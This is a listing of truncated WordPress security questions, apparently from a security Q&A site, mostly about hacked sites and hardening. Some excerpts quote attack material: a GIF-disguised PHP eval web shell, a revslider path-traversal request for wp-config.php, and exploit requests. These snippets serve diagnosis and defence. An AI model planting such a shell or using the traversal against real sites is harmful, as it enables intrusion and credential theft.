WordPress is an open source content management system running on PHP and MySQL, and often used as a blog engine.

learn more… | top users | synonyms

14
votes
1answer
806 views

What is this? Virus or scanner?

I found a new file in my WP root folder and contains this text: <?php ...
1
vote
3answers
58 views

How can hackers access WordPress usernames? [duplicate]

Recently I've had brute force attack attempts on some of my WordPress sites and the attackers are using actual usernames other than the default admin (which was removed). How is it possible for them ...
5
votes
3answers
574 views

Is it secure not to have csrf protection in login forms?

I have noticed that WordPress doesn't have csrf protection for their admin panel login /wp-admin/. Does it actually posses any potential risk? Is there any possible ways there an attacker could ...
2
votes
1answer
57 views

Arbitrary file upload, serve JPG as PHP

I'm trying out random older WordPress exploits on my local server, I'm currently in the process trying to get this one to work: https://www.exploit-db.com/exploits/20083/ It doesn't read any ...
1
vote
1answer
58 views

Does it make sense to scan localhost site?

I was playing around with wpscan a little while ago. I was wondering if it makes sense to scan a site on your localhost server. I think that it is since there are examples like DVWA, but I imagine it ...
1
vote
2answers
57 views

Why Wordpress doesn't filter post_title?

Today, when I did some tests and found out that Wordpress doesn't filter the post_title. Respectively, I make posts with the titles: <?php while ( have_posts() ) : the_post(); echo 'Post Title'; ...
0
votes
1answer
44 views

Website Loading Content from Malicious Sites

I own a website. Now today I find that when I load the site, Chrome shows "waiting for xxx.com" and some other unknown sites. I never added content or links from these sites. The website is running on ...
0
votes
0answers
46 views

How to protect an outdated Wordpress Core and plugins

I have a Wordpress website from a client that was hacked (website is clean now). The Wordpress is version 3.3.1 and it has 42 active plugins. It's a nightmare in that installation, after many tries ...
0
votes
2answers
269 views

What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php ...
2
votes
2answers
165 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
9
votes
2answers
2k views

Someone Copied Our Site Code (Including Analytics) and Put Adult Content on It [closed]

Someone copied our WordPress based website and put it on another server and added adult content on it. It also includes our Google Analytics code so the traffic to this site also shows on our ...
5
votes
1answer
201 views

Are these access.log entries successful wordpress login attempts?

I am hosting some wordpress sites on an apache 2.4 webserver, and I have discovered thousands of entries in my server logs like this: 221.219.219.248 - - [09/Mar/2015:03:29:25 +1300] "GET ...
21
votes
2answers
5k views

Is email from my WordPress site a hack or just a normal comment?

I received an email for my WordPress site, where the comment section is disabled. This was the email: "Author: google (IP: 210.56.50.40, 210.56.50.40) Email: guest@gmail.com URL: ...
2
votes
1answer
94 views

wordpress server visitor log contains a script, what's the risk?

I see this in my WP statistics: Is it safe to click on the link? Under what conditions will the script be triggered?
4
votes
2answers
268 views

Pawn in a nefarious porn marketing campaign?

About a month ago we upgraded (maybe not the right term) our site to WordPress. In that time we went from about 3800 inbound links (according to Google WebMaster) to about 5000. We exported our list ...
2
votes
2answers
138 views

Wordpress blog hacked?

There is a Wordpress blog running on Wordpress 4.0. Anyone having the company webmail can signup to the blog using their Google+ account and submit blog posts. Once posted they will be sent to some ...
0
votes
0answers
11 views

wordpress unknown IP was logged in [duplicate]

I am using wordfence on my wordpress website and enabled sending message when someone logged in to my site after checking my email An uknown IP address was logged in as admin user to my wordpress ...
1
vote
0answers
24 views

Security issues IIS 7.5 with PHP 5.3 [duplicate]

We are facing alot of weird php files all over our WordPress websites on our IIS 7.5 server. The file look like XSS script and maybe that php code that the hacker use to send spam emails or something ...
2
votes
3answers
87 views

Creating a website to test my scanner that I scripted

Hi I looked around on Google and this site for about the last hour and I couldn't find anything that gave a direct answer to my question. I changed the code around in a scanner that I used in the ...
3
votes
2answers
88 views

Content management url security

I manage a website that is a "bad magnet" for our competitors. I am using Incapsula CDN + WAF and I have internal proxy for caching. CMS/WP from its nature is very data consuming, I have check ...
1
vote
0answers
238 views

How to exploit CVE-2014-5203? [closed]

There is a vulnerability in WordPress 3.9 that allows an attacker to execute arbitrary PHP code (remote code execution) and the details about the same are covered in CVE-2014-5203: ...
3
votes
3answers
235 views

How to prevent adding malicious code, found in hacked Wordpress website?

I have a website created using Wordpress and used WooCommerce as the cart plugin. Recently I found it hacked, as it responded to an ajax request with a HTML code, which should receive a JSON object as ...
20
votes
8answers
3k views

PHP malware/shell keeps resurrecting [duplicate]

So I've been fighting this problem for months now and decided that it's beyond my limited (if at all) server skills, and that I need help from the pros. I have a VPS (with root access) which hosts ...
3
votes
2answers
253 views

Website infected with unwanted “redirections”, apparently via javascript code

I'm working on a clients website, and I realize they've been compromised. Early today there was a major problem with a php eval(base64_decode issue. That was cleaned up via Andy Stratton clean.php ...
0
votes
1answer
114 views

SAPE link injection into website

I currently have a WordPress website that has been updated to latest version 4.1, also latest theme installed. The problem is this SAPE Russian link network that is injecting malware code into the ...
5
votes
1answer
231 views

Wordpress site redirects to different site when using https. Have I been hacked?

I own my domain and blog infrequently, when I try to access it over https I'm first shown a warning which says that the certificate isn't trusted. This is expected as I never configured SSL for my ...
3
votes
1answer
166 views

malware attack on my website may have started a SOCKS server - please advise [duplicate]

A website I do some volunteer work for was recently one of those affected by a wordpress plugin vulnerability. Following advice in the answer to this question, which contains details of the attack, ...
1
vote
1answer
80 views

Compromised Wordpress Admin account risk

I am wondering what are the risks of a compromised Wordpress Admin account. Can the Wordpress Admin user cause any risk to the platform running the wordpress? For example, can the admin gain access ...
2
votes
2answers
169 views

Is there any security concern to host Wordpress on the main web server?

We have been hosting our Wordpress blog on a Linux virtual box, and our main web application on an IIS server. Our website is www.mainsite.com and the wordpress is on www.blog.mainsite.com. Now there ...
3
votes
4answers
319 views

Could a compromised WP database cause re-infection without the hacker needing to login into WP?

Is it possible that a compromised WordPress database could somehow be used to re-infect a website? I'm not talking about the hacker decoding user passwords and login into WP. I'm talking about the ...
0
votes
0answers
35 views

Wordpress cookie discloses admins username [closed]

My wordpress installation has two cookies whose values follows the following format: <admin_username>_<hashvalue> I understand disclosing admin username is a serious security issue. ...
1
vote
0answers
39 views

Compatibility issue if two wordpress security plugins are used together

My Wordpress installation uses sukuri as well as wordfence for security. Is there any possibilty that using both of them together might create any compatibility issues? I have this doubt because ...
5
votes
1answer
334 views

Exploit SoakSoak injected in Wordpress

I have recently received an attack to my website and Google is warning visitors to not load the page. The malware is located in wp-includes/js/swfobject.js of my Wordpress and I had deleted it but ...
2
votes
1answer
111 views

How does this wordpress XSS work?

There is a new Wordpress exploit in wp-includes/formatting.php $textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE); General problem here is that they try to parse ...
0
votes
1answer
232 views

Backdoor under Akismet wordpress plugin

my site recently got hacked or my users leaked out their passwords. The hacker install this plugin with a shell or backdoor in it. The file name is the "honda.zip" and inside is some Akismet plugin's ...
2
votes
0answers
654 views

PHP - Need help to understand injected code [duplicate]

I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the ...
1
vote
1answer
123 views

Encrypting sensitive data in a financial form

I'm currently building a B2B E-Commerce site for a client using WordPress. We sell industrial machinery ranging in the upper $100k-$400k price range. My client would like to have their financing form ...
3
votes
1answer
337 views

HTTP attack taking down PHP-FPM [closed]

Someone started attacking my site a few minutes ago and its caused PHP-FPM to max out all cores (4) on my vps and NGINX is now serving 502 to all users. I'm seeing a bunch of these requests with tons ...
-1
votes
1answer
132 views

How a backdoor can be uploaded? [closed]

I am inspecting a Wordpress web site for a client and I have found that some backdoor were present in the webroot folder. Now I have to understand how the attacker did that reviewing the source code ...
-1
votes
1answer
588 views

How to prevent ddos and brute-force attack by restricting IP's on Wordpress website

I want to make wp-login.php and/or wp-admin accessible only from one country. If I want wp-login.php access only from USA then my approach from .htaccess is like below <Files wp-login.php> ...
0
votes
0answers
153 views

How are brute force attacks hitting my WP website after renaming wp-admin folder?

We maintain several wordpress websites which receive regular attempts at brute forcing the admin credentials. Part of our standard rollout package is installing the All in One WP Security and Firewall ...
0
votes
1answer
405 views

High-Risk Intrusion Detected

I have an endpoint protection from Symantec. Recently, I have been receiving many Symantec Cloud Alert emails. wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php They ...
1
vote
2answers
91 views

How to block users from downloading an attachment of a timed WordPress -post before article goes live?

So I'm trying to solve how to block users from downloading an attachment of a timed WordPress -post before article goes live? Attachments work as uploads on a custom field in an article. My current ...
6
votes
3answers
1k views

Wordpress Brute Force Attacker knows real admin Username -

I've noticed a brute force attempt on several different Wordpress installs that know the right admin user name for those respective sites... It seems very strange that the hacker would be able to ...
1
vote
1answer
863 views

Hackers attack against wp-config.php

my wordpress site suddenly be hacked via wp-config.php. I have never known this type of attack. When i scan my site, wpscan warn against this errors: How can i protect my site from this attack? ...
1
vote
1answer
3k views

New DDos Attack on WordPress website

Recently I saw something new (at least for me) in log file [% tools.ua.random() %] as below: 199.246.2.10 - - [21/Aug/2014:13:25:15 +0545] "POST /wp-login.php HTTP/1.1" 200 2809 ...
0
votes
1answer
365 views

Ubuntu 12.04 server attacked using Wordpress vulnerability (plugin?) [duplicate]

Env Rackspace cloud server Wordpress 3.9.1 Ubuntu 12.04 Linux web.mydomain.com 3.2.0-67-virtual #101-Ubuntu SMP Tue Jul 15 17:58:37 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux History These may ...
2
votes
1answer
272 views

Encrypted code in hacked wordpress site

I have a customer who wants me to "restore" his Wordpress page. I looked a little bit deeper in the codes and found the following code a few times in different files: http://pastebin.com/nL4i6t8x ...
4
votes
5answers
847 views

HTML Entities to hide Email Addresses

I'm on WordPress trying to keep spambots from grabbing email addresses that may be in The Content. WordPress has a nifty little function simply called antispambot() which will convert the email ...
3
votes
2answers
150 views

What security risk does it mean if you have your db password and security token publicity available?

In Germany everyone is worried about a prominent political party that exposes their wp-config to the public: https://www.a***********r.de/wp-config.php How much of a security risk is that? The db, ...